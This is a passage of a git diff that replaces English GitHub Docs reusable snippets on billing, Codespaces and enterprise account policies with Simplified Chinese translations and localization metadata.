(可选)在“本月使用情况”旁,单击“获取使用情况报表”,以获取包含下载 {% data variables.product.prodname_actions %}、{% data variables.product.prodname_registry %} 和 {% data variables.product.prodname_codespaces %} 存储使用情况 CSV 报表的链接的电子邮件。 电子邮件将发送到帐户的主要电子邮件地址。 可以选择报表是应涵盖过去 7、30、90 还是 180 天。 + ![下载 CSV 报告](/assets/images/help/billing/actions-packages-report-download.png) diff --git a/translations/zh-CN/data/reusables/dotcom_billing/codespaces-minutes.md b/translations/zh-CN/data/reusables/dotcom_billing/codespaces-minutes.md new file mode 100644 index 0000000000..880178b0cf --- /dev/null +++ b/translations/zh-CN/data/reusables/dotcom_billing/codespaces-minutes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6dae450a4ace1beeccaa3411c62c22715126d4ac +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145101051" +--- +1. 在“{% data variables.product.prodname_codespaces %}”下,查看计算小时数和存储的使用情况详细信息。 + ![分钟使用情况详细信息](/assets/images/help/billing/codespaces-compute-storage.png) diff --git a/translations/zh-CN/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md b/translations/zh-CN/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md new file mode 100644 index 0000000000..6eac2bd48c --- /dev/null +++ b/translations/zh-CN/data/reusables/dotcom_billing/monthly-spending-limit-codespaces.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 791e872f3bdd478ed0e1e085b3cbd85a8c08dc64 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145101018" +--- +1. 在“每月支出限制”下,向下滚动至“Codespaces”并选择限制支出或允许无限制支出。 + ![用于限制支出或允许无限制支出的单选按钮](/assets/images/help/billing/limit-or-unlimited-codespaces.png) diff --git a/translations/zh-CN/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md b/translations/zh-CN/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md new file mode 100644 index 0000000000..2d793635ac --- /dev/null +++ b/translations/zh-CN/data/reusables/dotcom_billing/pricing_calculator/pricing_cal_codespaces.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 86ebb6e0ab13cf7daf5fb580792bf8f4606eb054 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881914" +--- +若要估算消耗性服务的成本,可以使用 {% data variables.product.prodname_dotcom %} [定价计算器](https://github.com/pricing/calculator?feature=codespaces)。 diff --git a/translations/zh-CN/data/reusables/dotcom_billing/view-all-subscriptions.md b/translations/zh-CN/data/reusables/dotcom_billing/view-all-subscriptions.md index 8403ca7ead..29ed94b4d5 100644 --- a/translations/zh-CN/data/reusables/dotcom_billing/view-all-subscriptions.md +++ b/translations/zh-CN/data/reusables/dotcom_billing/view-all-subscriptions.md @@ -1 +1,9 @@ -To view all the subscriptions for your account on {% data variables.location.product_location %}, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)." +--- +ms.openlocfilehash: 24174465a9f462c750d0d51635133501fd1174ce +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100974" +--- +要查看帐户在 {% data variables.product.product_location %} 上的所有订阅,请参阅“[查看订阅和计费日期](/articles/viewing-your-subscriptions-and-billing-date)”。 diff --git a/translations/zh-CN/data/reusables/education/upgrade-organization.md b/translations/zh-CN/data/reusables/education/upgrade-organization.md new file mode 100644 index 0000000000..0133c4340d --- /dev/null +++ b/translations/zh-CN/data/reusables/education/upgrade-organization.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 42f670fc5cdc772e53c8a2d9b5b86f95ccaf58ab +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145100950" +--- +1. 在要升级的组织旁边,单击“升级”。 + ![“升级”按钮](/assets/images/help/education/upgrade-org-button.png) diff --git a/translations/zh-CN/data/reusables/education/upgrade-page.md b/translations/zh-CN/data/reusables/education/upgrade-page.md new file mode 100644 index 0000000000..57b991eeb6 --- /dev/null +++ b/translations/zh-CN/data/reusables/education/upgrade-page.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7fccca32bcfa4fd768cd9c9ee221de3dcec5a5f0 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145100948" +--- +1. 转到[组织升级](https://education.github.com/toolbox/offers/github-org-upgrades)页面上的“升级组织”。 diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md b/translations/zh-CN/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md index 3f8feaa754..bae676795c 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md @@ -1,2 +1,10 @@ -1. Optionally, under the billing summary at the top of the page click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} in each of your enterprise account's organizations to the primary email address for the account. - ![Download CSV report](/assets/images/help/billing/actions-packages-report-download-enterprise.png) +--- +ms.openlocfilehash: fcf57329c4cf1e4e98a92d7858df583189670309 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145100933" +--- +1. (可选)在页面顶部的账单摘要下单击“获取使用情况报告”向帐户主电子邮件地址发送关于企业帐户的每个组织中的 {% data variables.product.prodname_actions %}、{% data variables.product.prodname_registry %} 和 {% data variables.product.prodname_codespaces %} 存储使用情况的 CSV 报告。 + ![下载 CSV 报告](/assets/images/help/billing/actions-packages-report-download-enterprise.png) diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md b/translations/zh-CN/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md index aa68b51f58..4200a4489b 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md @@ -1 +1,9 @@ -If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for any {% data variables.product.prodname_github_codespaces %} usage, and for {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} usage beyond the amounts included with your account. +--- +ms.openlocfilehash: a946c9f584b5ba850347f35b8a578e3997c7d632 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100909" +--- +如果你通过 Microsoft 企业协议购买 {% data variables.product.prodname_enterprise %},可以将 Azure 订阅 ID 连接到你的企业帐户,以便启用 {% data variables.product.prodname_codespaces %}、{% data variables.product.prodname_actions %} 或 {% data variables.product.prodname_registry %} 并支付它们超出你的帐户金额的使用费用。 diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/copilot-tab.md b/translations/zh-CN/data/reusables/enterprise-accounts/copilot-tab.md new file mode 100644 index 0000000000..0e641f948c --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise-accounts/copilot-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 081bb743422f3dd749a9efa26d4e219e32e1045e +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193228" +--- +1. 在“{% octicon "law" aria-label="The law icon" %} 策略”下,单击“{% data variables.product.prodname_copilot_short %}”。 \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/dormant-user-activity.md b/translations/zh-CN/data/reusables/enterprise-accounts/dormant-user-activity.md index 24b839f410..0b11c3a84e 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/dormant-user-activity.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/dormant-user-activity.md @@ -1,28 +1,35 @@ -A user is considered active if the user has performed any of the following activities on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. +--- +ms.openlocfilehash: ae3a6c6743e497213f23230a4f78d98a1ab9a110 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192927" +--- +如果用户在 {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 上执行了以下任何活动,则认为用户处于活动状态。 -- Signing into {% data variables.location.product_location %} -- Creating a repository -- Pushing to a repository -- Being added to a repository -- Changing the visibility of a repository -- Creating an issue or pull request -- Commenting on an issue or pull request -- Closing or reopening an issue or pull request -- Applying a label to an issue or pull request, or removing a label -- Assigning or unassigning an issue or pull request -- Requesting a review of a pull request, or removing a review request -- Creating or editing a comment in a pull request review -- Dismissing a comment in a pull request -- Synchronizing a pull request -- Commenting on a commit -- Publishing a release -- Pushing to a wiki -- Watching a repository -- Starring a repository -- Deleting a repository -- Accessing resources by using a {% data variables.product.pat_generic %} or SSH key -- Joining an organization +- 登录到 {% data variables.location.product_location %} +- 创建仓库 +- 推送到存储库 +- 被添加到存储库 +- 更改存储库的可见性 +- 创建议题或拉取请求 +- 评论问题或拉取请求 +- 关闭或重新打开问题或拉取请求 +- 将标签应用于问题或拉取请求,或删除标签 +- 分配或取消分配问题或拉取请求 +- 请求对拉取请求进行评审或删除评审请求 +- 在拉取请求评审中创建或编辑评论 +- 在拉取请求中消除评论 +- 同步拉取请求 +- 对提交进行评论 +- 发布版本 +- 推送到 Wiki +- 关注仓库 +- 对仓库标星 +- 删除仓库 +- 使用 {% data variables.product.pat_generic %} 或 SSH 密钥访问资源 +- 加入组织 -{% ifversion ghes %} -A user will also be considered active if their account has been updated by LDAP. +{% ifversion ghes %} 如果用户的帐户已通过 LDAP 更新,则认为该用户是活动用户。 {% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-cap-validates.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-cap-validates.md index f362c9b0ab..c8c15da78b 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-cap-validates.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-cap-validates.md @@ -1 +1,9 @@ -When your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will automatically use your IdP's conditional access policy (CAP) IP conditions to validate user interactions with {% data variables.product.prodname_dotcom %}, when members change IP addresses, and each time a {% data variables.product.pat_generic %} or SSH key is used. +--- +ms.openlocfilehash: 583dd6201d170a08509a815a61c854c411e4938f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067864" +--- +企业使用 OIDC SSO 时,{% data variables.product.prodname_dotcom %} 将自动使用 IdP 的条件访问策略 (CAP) IP 条件来验证用户与 {% data variables.product.prodname_dotcom %} 的交互,当成员更改 IP 地址时,每次使用个人访问令牌或 SSH 密钥时。 diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-follow.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-follow.md index a27bed899e..a584241423 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-follow.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-follow.md @@ -1 +1,9 @@ -{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only follow other members of their enterprise. {% endif %} +--- +ms.openlocfilehash: e49bce0aba4ff19dac4d6e1910be7301618c8640 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145066974" +--- +{% ifversion ghec %} {% data variables.product.prodname_emu_enterprise %} 的成员只能关注企业内的其他成员。 {% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-fork.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-fork.md index c3bf0cb89e..34c066e245 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-fork.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-fork.md @@ -1 +1,9 @@ -{% ifversion ghec %}Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot fork repositories from outside of the enterprise or fork internal repositories.{% endif %} +--- +ms.openlocfilehash: e9c13cc91ec4d3ab498ad3d826e59c17f6881619 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145066971" +--- +{% ifversion ghec %}{% data variables.product.prodname_emu_enterprise %} 的成员无法从企业外部或分支内部存储库为存储库创建分支。{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-gist.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-gist.md index 5093627199..7a4d0ec340 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-gist.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-gist.md @@ -1 +1,9 @@ -{% ifversion ghec %}Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot create gists and have read-only access to gists.{% endif %} +--- +ms.openlocfilehash: 4bf5ce9ef547b95c4f5ef6c4a9ff71ed553aa4b5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145066959" +--- +{% ifversion ghec %}{% data variables.product.prodname_emu_enterprise %} 的成员无法创建 Gist,并且对 Gist 具有只读访问权限。{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-interact.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-interact.md index b2162ba7e2..3ff56d6be4 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-interact.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-interact.md @@ -1 +1,9 @@ -{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only interact with repositories within their enterprise. {% endif %} +--- +ms.openlocfilehash: 7311dd81bdd55f580a1173cac98382c66fc7e86e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145066950" +--- +{% ifversion ghec %} {% data variables.product.prodname_emu_enterprise %} 的成员只能与其企业内的存储库进行交互。 {% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-propose.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-propose.md index 2c473bfaa3..afdbc32eb4 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-propose.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-propose.md @@ -1 +1,9 @@ -{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only propose changes in repositories that are part of their enterprise. {% endif %} +--- +ms.openlocfilehash: 83895ddc4e2fc636d89d9715fee0d8890a3acfb6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145066947" +--- +{% ifversion ghec %}{% data variables.product.prodname_emu_enterprise %} 的成员只能在属于其企业的存储库中提出更改。 {% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-repo.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-repo.md index 4112f4ef25..f21f8624c4 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-repo.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-permission-repo.md @@ -1 +1,9 @@ -{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only make changes in repositories that are part of their enterprise. {% endif %} +--- +ms.openlocfilehash: 8d1b7b8fcff29aeef03dce23e62448db69266940 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145066946" +--- +{% ifversion ghec %} {% data variables.product.prodname_emu_enterprise %} 的成员只能在属于其企业的存储库中进行更改。 {% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/emu-short-summary.md b/translations/zh-CN/data/reusables/enterprise-accounts/emu-short-summary.md index c80082fe07..3a875e07f0 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/emu-short-summary.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/emu-short-summary.md @@ -1 +1,9 @@ -{% data variables.product.prodname_emus %} is a feature of {% data variables.product.prodname_ghe_cloud %} that provides even greater control over enterprise members and resources. With {% data variables.product.prodname_emus %}, all members are provisioned and managed through your identity provider (IdP) instead of users creating their own accounts on {% data variables.product.product_name %}. Team membership can be managed using groups on your IdP. {% data variables.enterprise.prodname_managed_users_caps %} are restricted to their enterprise and are unable to push code, collaborate, or interact with users, repositories, and organizations outside of their enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +--- +ms.openlocfilehash: 57efd141644710352395659515a7215b723055f0 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147876146" +--- +{% data variables.product.prodname_emus %} 是 {% data variables.product.prodname_ghe_cloud %} 的一项功能,可更好地控制企业成员和资源。 使用 {% data variables.product.prodname_emus %} 时,所有成员都通过标识提供者 (IdP) 进行预配和管理,而不是用户在 {% data variables.product.product_name %} 上创建自己的帐户。 可以使用 IdP 上的组管理团队成员身份。 {% data variables.product.prodname_managed_users_caps %} 仅限于其企业,无法推送代码、协作或与企业外部的用户、存储库和组织交互。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}”。{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/oidc-beta-notice.md b/translations/zh-CN/data/reusables/enterprise-accounts/oidc-beta-notice.md new file mode 100644 index 0000000000..eb8629da5f --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise-accounts/oidc-beta-notice.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 212811ec85eac69f0a197bdd7b5002848a30a889 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147059880" +--- +{% note %} + +注意:对 {% data variables.product.prodname_emus %} 的 OpenID Connect (OIDC) 和条件访问策略 (CAP) 支持处于公共 beta 版本,仅适用于 Azure AD。 + +{% endnote %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/oidc-gei-warning.md b/translations/zh-CN/data/reusables/enterprise-accounts/oidc-gei-warning.md index 5ec0d137b6..0d315ba876 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/oidc-gei-warning.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/oidc-gei-warning.md @@ -1,5 +1,13 @@ +--- +ms.openlocfilehash: ca435f630177ca47e4e7f733a7219a7c00a36292 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066792" +--- {% warning %} -**Warning:** If you use {% data variables.product.prodname_importer_proper_name %} to migrate an organization from {% data variables.location.product_location_enterprise %}, make sure to use a service account that is exempt from Azure AD's CAP otherwise your migration may be blocked. +警告:如果使用 {% data variables.product.prodname_importer_proper_name %} 从 {% data variables.product.product_location_enterprise %} 迁移组织,请确保使用一个豁免于 Azure AD CAP 的服务帐户,否则迁移可能会被阻止。 {% endwarning %} diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/repo-creation-policy.md b/translations/zh-CN/data/reusables/enterprise-accounts/repo-creation-policy.md index c7033dd8d0..dbbb85ae81 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/repo-creation-policy.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/repo-creation-policy.md @@ -1,6 +1,10 @@ -1. Under "Repository creation", select a policy. - {% ifversion enterprise-namespace-repo-setting %} - ![Drop-down menu with repository creation policy options](/assets/images/help/business-accounts/restrict-personal-namespace-setting.png) - {% else %} - ![Drop-down menu with repository creation policy options](/assets/images/help/business-accounts/repository-creation-policy-drop-down.png) - {% endif %} +--- +ms.openlocfilehash: 48f13c881ee855260d860001a8ba983250bc3dfc +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097893" +--- +1. 在“Repository creation(仓库创建)”下,选择一个策略。 + ![包含存储库创建策略选项的下拉菜单](/assets/images/help/business-accounts/repository-creation-policy-drop-down.png) diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/repository-visibility-policy.md b/translations/zh-CN/data/reusables/enterprise-accounts/repository-visibility-policy.md new file mode 100644 index 0000000000..75ce24cdf2 --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise-accounts/repository-visibility-policy.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: dd2e6dd859c092f303c85df23173c9a6227771a1 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145084392" +--- +1. 在“Repository visibility change(仓库可见性更改)”下,使用下拉菜单选择策略。 + ![包含存储库可见性策略选项的下拉菜单](/assets/images/help/business-accounts/repository-visibility-policy-drop-down.png) diff --git a/translations/zh-CN/data/reusables/enterprise-accounts/security-tab.md b/translations/zh-CN/data/reusables/enterprise-accounts/security-tab.md index 86a4bbacdb..4cfd257c9a 100644 --- a/translations/zh-CN/data/reusables/enterprise-accounts/security-tab.md +++ b/translations/zh-CN/data/reusables/enterprise-accounts/security-tab.md @@ -1,7 +1,10 @@ -{%- ifversion ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the left sidebar, click **Authentication security**. - {% ifversion ghae %}![Security tab in the enterprise account settings sidebar](/assets/images/enterprise/github-ae/enterprise-account-settings-authentication-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-authentication-security-tab.png){% endif %} -{%- else %} -1. In the left sidebar, click **Security**. - {% ifversion ghae %}![Security tab in the enterprise account settings sidebar](/assets/images/enterprise/github-ae/enterprise-account-settings-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-security-tab.png){% endif %} -{%- endif %} +--- +ms.openlocfilehash: 292dc4eeafd0bdb07a1d623e3301d2fb266e4487 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145097885" +--- +1. 在左侧边栏中,单击“安全性”。 + {% ifversion ghae %}![企业帐户设置侧边栏中的“安全性”选项卡](/assets/images/enterprise/github-ae/enterprise-account-settings-security-tab.png){% else %}![Security tab in the enterprise account settings sidebar](/assets/images/help/business-accounts/enterprise-account-settings-security-tab.png){% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md b/translations/zh-CN/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md new file mode 100644 index 0000000000..1615ba76ae --- /dev/null +++ b/translations/zh-CN/data/reusables/enterprise-licensing/you-can-sync-for-a-combined-view.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8af7f51926796de93b5b3e9da0de86195914e2c4 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100885" +--- +如果同时使用 {% data variables.product.prodname_ghe_cloud %} 和 {% data variables.product.prodname_ghe_server %} 并在这两个产品之间同步许可证使用情况,则可在 {% data variables.product.prodname_dotcom_the_website %} 上查看两者的许可证使用情况。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_server %} 文档中的 {% ifversion fpt or ghec %}“[在 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间同步许可证使用情况](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)。{% elsif ghes %}“[在 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间同步许可证使用情况](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)”。{% endif %} diff --git a/translations/zh-CN/data/reusables/enterprise/apply-configuration.md b/translations/zh-CN/data/reusables/enterprise/apply-configuration.md index 7af7ba5163..aa4484738b 100644 --- a/translations/zh-CN/data/reusables/enterprise/apply-configuration.md +++ b/translations/zh-CN/data/reusables/enterprise/apply-configuration.md @@ -1,12 +1,20 @@ -1. To apply the configuration, enter the following command. +--- +ms.openlocfilehash: a7fec31cb255bd626918fd4bf9a2337debb259ae +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883252" +--- +1. 若要应用配置,请输入以下命令。 {% note %} - **Note**: During a configuration run, services on {% data variables.location.product_location %} may restart, which can cause brief downtime for users. + 注意:在配置运行过程中,{% data variables.product.product_location %} 上的服务可能会重启,这可能会导致用户短暂停机。 {% endnote %} ```shell ghe-config-apply ``` -1. Wait for the configuration run to complete. +1. 等待配置运行完毕。 diff --git a/translations/zh-CN/data/reusables/enterprise/rate_limit.md b/translations/zh-CN/data/reusables/enterprise/rate_limit.md index e6863783bd..becffb4d30 100644 --- a/translations/zh-CN/data/reusables/enterprise/rate_limit.md +++ b/translations/zh-CN/data/reusables/enterprise/rate_limit.md @@ -1,8 +1,16 @@ +--- +ms.openlocfilehash: 9c3f4f2a11f84313dc59d7b42db0e5da7f947753 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145097870" +--- {% ifversion ghes %} {% note %} -**Note**: The following rate limits are the default rate limits for {% data variables.product.product_name %}. Contact your site administrator to confirm the rate limits for {% data variables.location.product_location %}. +注意:以下速率限制是 {% data variables.product.product_name %} 的默认速率限制。 请与站点管理员联系,以确认 {% data variables.product.product_location %} 的速率限制。 {% endnote %} diff --git a/translations/zh-CN/data/reusables/enterprise/test-in-staging.md b/translations/zh-CN/data/reusables/enterprise/test-in-staging.md index 43fe854c49..54c0baac64 100644 --- a/translations/zh-CN/data/reusables/enterprise/test-in-staging.md +++ b/translations/zh-CN/data/reusables/enterprise/test-in-staging.md @@ -1 +1,9 @@ -{% data variables.product.company_short %} strongly recommends that you verify any new configuration for authentication in a staging environment. An incorrect configuration could result in downtime for {% data variables.location.product_location %}. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." +--- +ms.openlocfilehash: a852bf18992b237fa442a0d24363787b1cf22a64 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145097867" +--- +{% data variables.product.company_short %} 强烈建议在过渡环境中验证任何用于身份验证的新配置。 不正确的配置可能会导致 {% data variables.product.product_location %} 产生故障时间。 有关详细信息,请参阅“[设置暂存实例](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)”。 diff --git a/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md b/translations/zh-CN/data/reusables/enterprise/upgrade-ghes-for-actions.md new file mode 100644 index 0000000000..a52d82b036 --- /dev/null +++ 